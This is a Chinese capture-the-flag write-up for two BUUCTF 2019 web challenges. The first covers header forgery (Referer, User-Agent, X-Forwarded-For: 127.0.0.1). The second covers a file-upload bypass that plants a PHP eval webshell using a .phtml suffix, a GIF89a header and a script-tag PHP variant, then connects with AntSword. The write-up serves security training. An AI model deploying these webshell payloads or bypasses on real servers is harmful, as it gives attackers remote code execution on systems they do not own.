[极客大挑战 2019]Http 1
HTTP头伪造
f12查看

跳转

页面提示它不是来源于这个网址,用burpsuite抓包加上这个 Referer: https://Sycsecret.buuoj.cn 头

服务器检查来源 当直接访问 /secret.php 时,服务器返回的错误信息明确表示:
It doesn't come from 'https://Sycsecret.buuoj.cn'
这说明服务器在验证请求的来源(即 HTTP Referer 头),要求请求必须是从 https://Sycsecret.buuoj.cn 跳转过来的。
Referer 头的作用 HTTP Referer 头用于告诉服务器当前请求是从哪个页面链接过来的。
服务器可以通过检查这个头来:
防止未经授权的直接访问(比如用户直接输入 URL 访问敏感页面)
实现简单的 CSRF(跨站请求伪造)防护
统计流量来源 绕过访问控制
由于服务器明确要求请求必须来自 https://Sycsecret.buuoj.cn,
手动添加 Referer 头是为了: 伪造请求来源,让服务器认为请求是从 Sycsecret.com 跳转过来的
绕过服务器的来源验证机制 添加 Referer: https://www.Sycsecret.com 是为了 伪造请求来源,绕过服务器的来源验证机制,从而继续渗透测试流程。
提示

浏览器验证 添加完referer头之后看到服务器要求来自 "Syclover" 浏览器,所以我们修改 User-Agent 头为 Syclover 浏览器标识

提示

只能从本地访问
- 添加
X-Forwarded-For: 127.0.0.1头绕过本地访问限制


[极客大挑战 2019]Upload 1
文件上传
先上传一句话木马
<?php
@eval($_POST['cmd'])
?>
提示

修改类型

提示

修改文件后缀phtml尝试绕过

过滤了<? 那么尝试改成
<script>alert("whoami")</script>

应该是检查了文件内容
添加图片文件头
GIF89a

成功上传
猜测访问路径/upload/test.phtml

成功执行alert()
修改为一句话木马
上传
GIF89a?
<script language="php">eval($_POST['cmd'])</script>

访问蚁剑连接

找flag
